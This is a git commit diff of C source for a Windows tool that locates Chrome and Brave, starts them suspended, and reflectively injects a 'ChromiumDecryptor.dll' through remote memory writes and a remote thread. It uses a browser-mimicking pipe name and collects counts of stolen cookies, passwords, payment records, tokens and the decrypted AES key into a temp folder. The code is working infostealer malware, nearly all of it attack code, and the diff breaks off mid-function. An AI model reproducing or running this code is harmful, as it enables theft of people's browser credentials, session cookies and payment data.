initial commit
This commit is contained in:
+24
@@ -0,0 +1,24 @@
|
||||
#ifndef BROWSER_RESOLVER_H
|
||||
#define BROWSER_RESOLVER_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
typedef struct {
|
||||
wchar_t browser_id[64];
|
||||
wchar_t exe_path[MAX_PATH_LEN];
|
||||
} BrowserInfo;
|
||||
|
||||
typedef struct {
|
||||
BrowserInfo* items;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} BrowserList;
|
||||
|
||||
BrowserList* browser_list_create(void);
|
||||
void browser_list_destroy(BrowserList* list);
|
||||
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path);
|
||||
|
||||
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len);
|
||||
BrowserList* browser_find_all_installed(void);
|
||||
|
||||
#endif // BROWSER_RESOLVER_H
|
||||
@@ -0,0 +1,8 @@
|
||||
#ifndef INJECTION_MANAGER_H
|
||||
#define INJECTION_MANAGER_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name);
|
||||
|
||||
#endif // INJECTION_MANAGER_H
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
#ifndef PIPE_COMMUNICATOR_H
|
||||
#define PIPE_COMMUNICATOR_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name);
|
||||
void pipe_destroy(PipeCommunicator* comm);
|
||||
bool pipe_wait_for_client(PipeCommunicator* comm);
|
||||
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path);
|
||||
bool pipe_relay_messages(PipeCommunicator* comm);
|
||||
|
||||
#endif // PIPE_COMMUNICATOR_H
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
#ifndef TARGET_PROCESS_H
|
||||
#define TARGET_PROCESS_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path);
|
||||
void target_terminate(TargetProcess* target);
|
||||
void target_cleanup(TargetProcess* target);
|
||||
bool target_kill_network_service(const wchar_t* process_name);
|
||||
|
||||
#endif // TARGET_PROCESS_H
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#ifndef INJECTOR_TYPES_H
|
||||
#define INJECTOR_TYPES_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define MAX_PATH_LEN 512
|
||||
#define DLL_COMPLETION_TIMEOUT_MS 60000
|
||||
#define PIPE_TIMEOUT_MS 10000
|
||||
|
||||
typedef struct {
|
||||
bool verbose;
|
||||
bool extract_fingerprint;
|
||||
wchar_t output_path[MAX_PATH_LEN];
|
||||
wchar_t browser_type[64];
|
||||
wchar_t browser_process_name[64];
|
||||
wchar_t browser_exe_path[MAX_PATH_LEN];
|
||||
char browser_display_name[64];
|
||||
} InjectorConfig;
|
||||
|
||||
typedef struct {
|
||||
int total_cookies;
|
||||
int total_passwords;
|
||||
int total_payments;
|
||||
int total_tokens;
|
||||
int profile_count;
|
||||
char aes_key[256];
|
||||
} ExtractionStats;
|
||||
|
||||
typedef struct {
|
||||
HANDLE process;
|
||||
HANDLE thread;
|
||||
DWORD pid;
|
||||
USHORT arch;
|
||||
} TargetProcess;
|
||||
|
||||
typedef struct {
|
||||
HANDLE pipe;
|
||||
wchar_t pipe_name[256];
|
||||
ExtractionStats stats;
|
||||
} PipeCommunicator;
|
||||
|
||||
typedef struct {
|
||||
uint8_t* data;
|
||||
size_t size;
|
||||
} DllPayload;
|
||||
|
||||
#endif // INJECTOR_TYPES_H
|
||||
Executable
+10
@@ -0,0 +1,10 @@
|
||||
#ifndef INJECTOR_UTILS_H
|
||||
#define INJECTOR_UTILS_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len);
|
||||
bool create_directory_recursive(const wchar_t* path);
|
||||
bool file_exists(const wchar_t* path);
|
||||
|
||||
#endif // INJECTOR_UTILS_H
|
||||
+124
@@ -0,0 +1,124 @@
|
||||
#include "browser_resolver.h"
|
||||
#include "utils.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
BrowserList* browser_list_create(void) {
|
||||
BrowserList* list = malloc(sizeof(BrowserList));
|
||||
if (!list) return NULL;
|
||||
|
||||
list->items = malloc(sizeof(BrowserInfo) * 4);
|
||||
if (!list->items) {
|
||||
free(list);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
list->count = 0;
|
||||
list->capacity = 4;
|
||||
return list;
|
||||
}
|
||||
|
||||
void browser_list_destroy(BrowserList* list) {
|
||||
if (!list) return;
|
||||
free(list->items);
|
||||
free(list);
|
||||
}
|
||||
|
||||
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path) {
|
||||
if (!list || !id || !path) return false;
|
||||
|
||||
if (list->count >= list->capacity) {
|
||||
size_t new_cap = list->capacity * 2;
|
||||
BrowserInfo* new_items = realloc(list->items, sizeof(BrowserInfo) * new_cap);
|
||||
if (!new_items) return false;
|
||||
list->items = new_items;
|
||||
list->capacity = new_cap;
|
||||
}
|
||||
|
||||
wcsncpy_s(list->items[list->count].browser_id, 64, id, _TRUNCATE);
|
||||
wcsncpy_s(list->items[list->count].exe_path, MAX_PATH_LEN, path, _TRUNCATE);
|
||||
list->count++;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool query_registry_value(HKEY root, const wchar_t* subkey, wchar_t* out, size_t len) {
|
||||
wchar_t buffer[MAX_PATH];
|
||||
DWORD buffer_size = sizeof(buffer);
|
||||
|
||||
LSTATUS status = RegGetValueW(root, subkey, NULL,
|
||||
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
|
||||
NULL, buffer, &buffer_size);
|
||||
|
||||
if (status == ERROR_SUCCESS) {
|
||||
wcsncpy_s(out, len, buffer, _TRUNCATE);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (status == ERROR_MORE_DATA) {
|
||||
wchar_t* long_buffer = malloc(buffer_size);
|
||||
if (!long_buffer) return false;
|
||||
|
||||
status = RegGetValueW(root, subkey, NULL,
|
||||
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
|
||||
NULL, long_buffer, &buffer_size);
|
||||
|
||||
if (status == ERROR_SUCCESS) {
|
||||
wcsncpy_s(out, len, long_buffer, _TRUNCATE);
|
||||
free(long_buffer);
|
||||
return true;
|
||||
}
|
||||
free(long_buffer);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len) {
|
||||
if (!exe_name || !out_path) return false;
|
||||
|
||||
wchar_t subkey[512];
|
||||
|
||||
const struct {
|
||||
HKEY root;
|
||||
const wchar_t* base_path;
|
||||
} locations[] = {
|
||||
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
|
||||
{ HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
|
||||
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" }
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(locations) / sizeof(locations[0]); i++) {
|
||||
swprintf_s(subkey, 512, L"%s%s", locations[i].base_path, exe_name);
|
||||
|
||||
if (query_registry_value(locations[i].root, subkey, out_path, len)) {
|
||||
if (file_exists(out_path)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
BrowserList* browser_find_all_installed(void) {
|
||||
BrowserList* list = browser_list_create();
|
||||
if (!list) return NULL;
|
||||
|
||||
const struct {
|
||||
const wchar_t* id;
|
||||
const wchar_t* exe;
|
||||
} targets[] = {
|
||||
{ L"chrome", L"chrome.exe" },
|
||||
{ L"brave", L"brave.exe" }
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(targets) / sizeof(targets[0]); i++) {
|
||||
wchar_t path[MAX_PATH_LEN];
|
||||
if (browser_resolve_path(targets[i].exe, path, MAX_PATH_LEN)) {
|
||||
browser_list_add(list, targets[i].id, path);
|
||||
}
|
||||
}
|
||||
|
||||
return list;
|
||||
}
|
||||
+162
@@ -0,0 +1,162 @@
|
||||
#include "injection_manager.h"
|
||||
#include <string.h>
|
||||
|
||||
static bool load_dll_payload(DllPayload* payload) {
|
||||
if (!payload) return false;
|
||||
|
||||
HANDLE file = CreateFileW(L"ChromiumDecryptor.dll", GENERIC_READ,
|
||||
FILE_SHARE_READ, NULL, OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (file == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
DWORD file_size = GetFileSize(file, NULL);
|
||||
if (file_size == 0 || file_size == INVALID_FILE_SIZE) {
|
||||
CloseHandle(file);
|
||||
return false;
|
||||
}
|
||||
|
||||
payload->data = malloc(file_size);
|
||||
if (!payload->data) {
|
||||
CloseHandle(file);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD bytes_read = 0;
|
||||
if (!ReadFile(file, payload->data, file_size, &bytes_read, NULL) ||
|
||||
bytes_read != file_size) {
|
||||
free(payload->data);
|
||||
CloseHandle(file);
|
||||
return false;
|
||||
}
|
||||
|
||||
payload->size = file_size;
|
||||
CloseHandle(file);
|
||||
return true;
|
||||
}
|
||||
|
||||
static void free_dll_payload(DllPayload* payload) {
|
||||
if (payload && payload->data) {
|
||||
free(payload->data);
|
||||
payload->data = NULL;
|
||||
payload->size = 0;
|
||||
}
|
||||
}
|
||||
|
||||
static DWORD rva_to_file_offset(PIMAGE_NT_HEADERS nt_headers, DWORD rva, uint8_t* base) {
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);
|
||||
|
||||
for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section++) {
|
||||
if (rva >= section->VirtualAddress &&
|
||||
rva < section->VirtualAddress + section->Misc.VirtualSize) {
|
||||
return section->PointerToRawData + (rva - section->VirtualAddress);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static DWORD get_reflective_loader_offset(DllPayload* payload) {
|
||||
if (!payload || !payload->data) return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)payload->data;
|
||||
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) return 0;
|
||||
|
||||
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)(payload->data + dos_header->e_lfanew);
|
||||
if (nt_headers->Signature != IMAGE_NT_SIGNATURE) return 0;
|
||||
|
||||
DWORD export_rva = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (export_rva == 0) return 0;
|
||||
|
||||
DWORD export_offset = rva_to_file_offset(nt_headers, export_rva, payload->data);
|
||||
if (export_offset == 0) return 0;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)(payload->data + export_offset);
|
||||
|
||||
DWORD names_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNames, payload->data);
|
||||
DWORD ordinals_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNameOrdinals, payload->data);
|
||||
DWORD functions_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfFunctions, payload->data);
|
||||
|
||||
if (!names_offset || !ordinals_offset || !functions_offset) return 0;
|
||||
|
||||
DWORD* names = (DWORD*)(payload->data + names_offset);
|
||||
WORD* ordinals = (WORD*)(payload->data + ordinals_offset);
|
||||
DWORD* functions = (DWORD*)(payload->data + functions_offset);
|
||||
|
||||
for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
|
||||
DWORD name_offset = rva_to_file_offset(nt_headers, names[i], payload->data);
|
||||
if (!name_offset) continue;
|
||||
|
||||
char* func_name = (char*)(payload->data + name_offset);
|
||||
if (strcmp(func_name, "ReflectiveLoader") == 0) {
|
||||
DWORD func_rva = functions[ordinals[i]];
|
||||
DWORD func_offset = rva_to_file_offset(nt_headers, func_rva, payload->data);
|
||||
return func_offset;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name) {
|
||||
if (!target || !target->process || !pipe_name) return false;
|
||||
|
||||
DllPayload payload = { 0 };
|
||||
if (!load_dll_payload(&payload)) return false;
|
||||
|
||||
DWORD rdi_offset = get_reflective_loader_offset(&payload);
|
||||
if (rdi_offset == 0) {
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
SIZE_T pipe_name_size = (wcslen(pipe_name) + 1) * sizeof(wchar_t);
|
||||
SIZE_T total_size = payload.size + pipe_name_size;
|
||||
|
||||
LPVOID remote_base = VirtualAllocEx(target->process, NULL, total_size,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!remote_base) {
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
SIZE_T bytes_written = 0;
|
||||
if (!WriteProcessMemory(target->process, remote_base, payload.data,
|
||||
payload.size, &bytes_written) ||
|
||||
bytes_written != payload.size) {
|
||||
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID remote_pipe_name = (LPBYTE)remote_base + payload.size;
|
||||
if (!WriteProcessMemory(target->process, remote_pipe_name, pipe_name,
|
||||
pipe_name_size, &bytes_written) ||
|
||||
bytes_written != pipe_name_size) {
|
||||
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD old_protect = 0;
|
||||
if (!VirtualProtectEx(target->process, remote_base, total_size,
|
||||
PAGE_EXECUTE_READ, &old_protect)) {
|
||||
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPTHREAD_START_ROUTINE entry_point = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remote_base + rdi_offset);
|
||||
|
||||
HANDLE remote_thread = CreateRemoteThread(target->process, NULL, 0, entry_point, remote_pipe_name, 0, NULL);
|
||||
|
||||
free_dll_payload(&payload);
|
||||
|
||||
if (!remote_thread) {
|
||||
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||
return false;
|
||||
}
|
||||
|
||||
CloseHandle(remote_thread);
|
||||
return true;
|
||||
}
|
||||
Executable
+150
@@ -0,0 +1,150 @@
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
#include "browser_resolver.h"
|
||||
#include "target_process.h"
|
||||
#include "pipe_communicator.h"
|
||||
#include "injection_manager.h"
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static void init_browser_config(InjectorConfig* config, const wchar_t* browser_id, const wchar_t* browser_path) {
|
||||
wcsncpy_s(config->browser_type, 64, browser_id, _TRUNCATE);
|
||||
wcsncpy_s(config->browser_exe_path, MAX_PATH_LEN, browser_path, _TRUNCATE);
|
||||
|
||||
if (wcscmp(browser_id, L"chrome") == 0) {
|
||||
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
|
||||
strcpy_s(config->browser_display_name, 64, "Chrome");
|
||||
}
|
||||
else if (wcscmp(browser_id, L"brave") == 0) {
|
||||
wcsncpy_s(config->browser_process_name, 64, L"brave.exe", _TRUNCATE);
|
||||
strcpy_s(config->browser_display_name, 64, "Brave");
|
||||
}
|
||||
else {
|
||||
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
|
||||
strcpy_s(config->browser_display_name, 64, "Unknown");
|
||||
}
|
||||
}
|
||||
|
||||
static bool validate_config(InjectorConfig* config) {
|
||||
if (!config) return false;
|
||||
|
||||
if (config->browser_exe_path[0] == L'\0') return false;
|
||||
if (!file_exists(config->browser_exe_path)) return false;
|
||||
if (!create_directory_recursive(config->output_path)) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool run_injection_workflow(InjectorConfig* config, ExtractionStats* stats) {
|
||||
if (!config || !stats) return false;
|
||||
|
||||
memset(stats, 0, sizeof(ExtractionStats));
|
||||
|
||||
target_kill_network_service(config->browser_process_name);
|
||||
|
||||
TargetProcess target = { 0 };
|
||||
if (!target_create_suspended(&target, config->browser_exe_path)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t pipe_name[256];
|
||||
if (!generate_browser_mimic_pipe_name(config->browser_type, pipe_name, 256)) {
|
||||
target_cleanup(&target);
|
||||
return false;
|
||||
}
|
||||
|
||||
PipeCommunicator pipe = { 0 };
|
||||
if (!pipe_create(&pipe, pipe_name)) {
|
||||
target_cleanup(&target);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!injection_execute(&target, pipe_name)) {
|
||||
pipe_destroy(&pipe);
|
||||
target_terminate(&target);
|
||||
target_cleanup(&target);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool success = false;
|
||||
if (pipe_wait_for_client(&pipe)) {
|
||||
if (pipe_send_initial_data(&pipe, config->verbose,
|
||||
config->extract_fingerprint,
|
||||
config->output_path)) {
|
||||
success = pipe_relay_messages(&pipe);
|
||||
*stats = pipe.stats;
|
||||
}
|
||||
}
|
||||
|
||||
pipe_destroy(&pipe);
|
||||
target_terminate(&target);
|
||||
target_cleanup(&target);
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
static void process_all_browsers(bool verbose, bool extract_fingerprint, const wchar_t* output_path) {
|
||||
BrowserList* browsers = browser_find_all_installed();
|
||||
if (!browsers || browsers->count == 0) {
|
||||
if (browsers) browser_list_destroy(browsers);
|
||||
return;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < browsers->count; i++) {
|
||||
InjectorConfig config = { 0 };
|
||||
config.verbose = verbose;
|
||||
config.extract_fingerprint = extract_fingerprint;
|
||||
wcsncpy_s(config.output_path, MAX_PATH_LEN, output_path, _TRUNCATE);
|
||||
|
||||
init_browser_config(&config,
|
||||
browsers->items[i].browser_id,
|
||||
browsers->items[i].exe_path);
|
||||
|
||||
if (!validate_config(&config)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
#ifdef _DEBUG
|
||||
printf("Processing %s\n", config.browser_display_name);
|
||||
#endif
|
||||
|
||||
ExtractionStats stats = { 0 };
|
||||
bool res = run_injection_workflow(&config, &stats);
|
||||
#ifdef _DEBUG
|
||||
if (res) {
|
||||
printf("Profiles: %d\n", stats.profile_count);
|
||||
printf("Cookies: %d\n", stats.total_cookies);
|
||||
printf("Passwords: %d\n", stats.total_passwords);
|
||||
printf("Payments: %d\n", stats.total_payments);
|
||||
printf("Tokens: %d\n", stats.total_tokens);
|
||||
if (stats.aes_key[0]) {
|
||||
printf("AES Key: %s\n", stats.aes_key);
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("Failed\n");
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
browser_list_destroy(browsers);
|
||||
}
|
||||
|
||||
int main() {
|
||||
srand((unsigned int)time(NULL));
|
||||
|
||||
wchar_t tmp_path[MAX_PATH];
|
||||
GetEnvironmentVariableW(L"TEMP", tmp_path, MAX_PATH);
|
||||
|
||||
wchar_t output_path[MAX_PATH_LEN];
|
||||
swprintf_s(output_path, MAX_PATH_LEN, L"%ls\\Log", tmp_path);
|
||||
|
||||
if (!CreateDirectoryW(output_path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
process_all_browsers(true, true, output_path);
|
||||
}
|
||||
+199
@@ -0,0 +1,199 @@
|
||||
#include "pipe_communicator.h"
|
||||
#include <string.h>
|
||||
|
||||
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name) {
|
||||
if (!comm || !pipe_name) return false;
|
||||
|
||||
memset(comm, 0, sizeof(PipeCommunicator));
|
||||
wcsncpy_s(comm->pipe_name, 256, pipe_name, _TRUNCATE);
|
||||
|
||||
comm->pipe = CreateNamedPipeW(
|
||||
pipe_name,
|
||||
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1, 4096, 4096, 0, NULL
|
||||
);
|
||||
|
||||
return comm->pipe != INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
void pipe_destroy(PipeCommunicator* comm) {
|
||||
if (!comm) return;
|
||||
|
||||
if (comm->pipe && comm->pipe != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(comm->pipe);
|
||||
comm->pipe = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
}
|
||||
|
||||
bool pipe_wait_for_client(PipeCommunicator* comm) {
|
||||
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
OVERLAPPED overlapped = { 0 };
|
||||
overlapped.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
|
||||
if (!overlapped.hEvent) return false;
|
||||
|
||||
BOOL connected = ConnectNamedPipe(comm->pipe, &overlapped);
|
||||
DWORD last_error = GetLastError();
|
||||
|
||||
if (!connected && last_error == ERROR_IO_PENDING) {
|
||||
DWORD wait_result = WaitForSingleObject(overlapped.hEvent, PIPE_TIMEOUT_MS);
|
||||
CloseHandle(overlapped.hEvent);
|
||||
|
||||
if (wait_result != WAIT_OBJECT_0) {
|
||||
CancelIo(comm->pipe);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else if (!connected && last_error != ERROR_PIPE_CONNECTED) {
|
||||
CloseHandle(overlapped.hEvent);
|
||||
return false;
|
||||
}
|
||||
else {
|
||||
CloseHandle(overlapped.hEvent);
|
||||
}
|
||||
|
||||
Sleep(200);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool pipe_write_message(PipeCommunicator* comm, const char* msg) {
|
||||
if (!comm || !msg) return false;
|
||||
|
||||
DWORD bytes_written = 0;
|
||||
size_t msg_len = strlen(msg) + 1;
|
||||
|
||||
return WriteFile(comm->pipe, msg, (DWORD)msg_len, &bytes_written, NULL) &&
|
||||
bytes_written == msg_len;
|
||||
}
|
||||
|
||||
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path) {
|
||||
if (!comm || !output_path) return false;
|
||||
|
||||
if (!pipe_write_message(comm, verbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE")) return false;
|
||||
Sleep(10);
|
||||
|
||||
if (!pipe_write_message(comm, fingerprint ? "FINGERPRINT_TRUE" : "FINGERPRINT_FALSE")) return false;
|
||||
Sleep(10);
|
||||
|
||||
char path_utf8[MAX_PATH_LEN * 3];
|
||||
WideCharToMultiByte(CP_UTF8, 0, output_path, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
|
||||
|
||||
if (!pipe_write_message(comm, path_utf8)) return false;
|
||||
Sleep(10);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static int extract_number_from_message(const char* message, const char* prefix, const char* suffix) {
|
||||
const char* start = strstr(message, prefix);
|
||||
if (!start) return 0;
|
||||
|
||||
start += strlen(prefix);
|
||||
const char* end = strstr(start, suffix);
|
||||
if (!end) end = start + strlen(start);
|
||||
|
||||
char num_str[32];
|
||||
size_t len = end - start;
|
||||
if (len >= sizeof(num_str)) len = sizeof(num_str) - 1;
|
||||
|
||||
memcpy(num_str, start, len);
|
||||
num_str[len] = '\0';
|
||||
|
||||
return atoi(num_str);
|
||||
}
|
||||
|
||||
static void parse_extraction_message(PipeCommunicator* comm, const char* message) {
|
||||
if (!comm || !message) return;
|
||||
|
||||
if (strstr(message, "Found ") && strstr(message, "profile(s)")) {
|
||||
comm->stats.profile_count = extract_number_from_message(message, "Found ", " profile(s)");
|
||||
}
|
||||
|
||||
if (strstr(message, "Decrypted AES Key: ")) {
|
||||
const char* key_start = strstr(message, "Decrypted AES Key: ") + 19;
|
||||
strncpy_s(comm->stats.aes_key, sizeof(comm->stats.aes_key), key_start, _TRUNCATE);
|
||||
}
|
||||
|
||||
if (strstr(message, " cookies extracted to ")) {
|
||||
comm->stats.total_cookies += extract_number_from_message(message, "[*] ", " cookies");
|
||||
}
|
||||
|
||||
if (strstr(message, " passwords extracted to ")) {
|
||||
comm->stats.total_passwords += extract_number_from_message(message, "[*] ", " passwords");
|
||||
}
|
||||
|
||||
if (strstr(message, " payments extracted to ")) {
|
||||
comm->stats.total_payments += extract_number_from_message(message, "[*] ", " payments");
|
||||
}
|
||||
|
||||
if (strstr(message, " tokens extracted to ")) {
|
||||
comm->stats.total_tokens += extract_number_from_message(message, "[*] ", " tokens");
|
||||
}
|
||||
}
|
||||
|
||||
bool pipe_relay_messages(PipeCommunicator* comm) {
|
||||
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
const char* completion_signal = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
||||
DWORD start_time = GetTickCount();
|
||||
char accumulated[8192] = { 0 };
|
||||
size_t accumulated_len = 0;
|
||||
char buffer[4096];
|
||||
bool completed = false;
|
||||
|
||||
while (!completed && (GetTickCount() - start_time < DLL_COMPLETION_TIMEOUT_MS)) {
|
||||
DWORD bytes_available = 0;
|
||||
if (!PeekNamedPipe(comm->pipe, NULL, 0, NULL, &bytes_available, NULL)) {
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||
break;
|
||||
break;
|
||||
}
|
||||
|
||||
if (bytes_available == 0) {
|
||||
Sleep(100);
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD bytes_read = 0;
|
||||
if (!ReadFile(comm->pipe, buffer, sizeof(buffer) - 1, &bytes_read, NULL) || bytes_read == 0) {
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE) break;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (accumulated_len + bytes_read < sizeof(accumulated)) {
|
||||
memcpy(accumulated + accumulated_len, buffer, bytes_read);
|
||||
accumulated_len += bytes_read;
|
||||
}
|
||||
|
||||
size_t pos = 0;
|
||||
while (pos < accumulated_len) {
|
||||
size_t msg_len = strlen(accumulated + pos);
|
||||
if (msg_len == 0 || pos + msg_len >= accumulated_len)
|
||||
break;
|
||||
|
||||
char* message = accumulated + pos;
|
||||
|
||||
if (strcmp(message, completion_signal) == 0) {
|
||||
completed = true;
|
||||
break;
|
||||
}
|
||||
|
||||
parse_extraction_message(comm, message);
|
||||
pos += msg_len + 1;
|
||||
}
|
||||
|
||||
if (completed)
|
||||
break;
|
||||
|
||||
if (pos > 0 && pos < accumulated_len) {
|
||||
memmove(accumulated, accumulated + pos, accumulated_len - pos);
|
||||
accumulated_len -= pos;
|
||||
}
|
||||
else if (pos >= accumulated_len) {
|
||||
accumulated_len = 0;
|
||||
}
|
||||
}
|
||||
|
||||
return completed;
|
||||
}
|
||||
+231
@@ -0,0 +1,231 @@
|
||||
#include "target_process.h"
|
||||
#include <winternl.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtGetNextProcess_t)(
|
||||
HANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
ULONG HandleAttributes,
|
||||
ULONG Flags,
|
||||
PHANDLE NewProcessHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtQueryInformationProcess_t)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T BufferSize,
|
||||
PSIZE_T NumberOfBytesRead
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtTerminateProcess_t)(
|
||||
HANDLE ProcessHandle,
|
||||
NTSTATUS ExitStatus
|
||||
);
|
||||
|
||||
typedef BOOL(WINAPI* IsWow64Process2_t)(HANDLE, USHORT*, USHORT*);
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
|
||||
static bool check_architecture(TargetProcess* target) {
|
||||
if (!target || !target->process) return false;
|
||||
|
||||
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
|
||||
if (!kernel32) return false;
|
||||
|
||||
IsWow64Process2_t fnIsWow64Process2 =
|
||||
(IsWow64Process2_t)GetProcAddress(kernel32, "IsWow64Process2");
|
||||
|
||||
if (!fnIsWow64Process2) {
|
||||
BOOL is_wow64 = FALSE;
|
||||
if (IsWow64Process(target->process, &is_wow64)) {
|
||||
target->arch = is_wow64 ? IMAGE_FILE_MACHINE_I386 : IMAGE_FILE_MACHINE_AMD64;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
USHORT process_arch = 0, native_machine = 0;
|
||||
if (!fnIsWow64Process2(target->process, &process_arch, &native_machine)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
target->arch = (process_arch == IMAGE_FILE_MACHINE_UNKNOWN) ?
|
||||
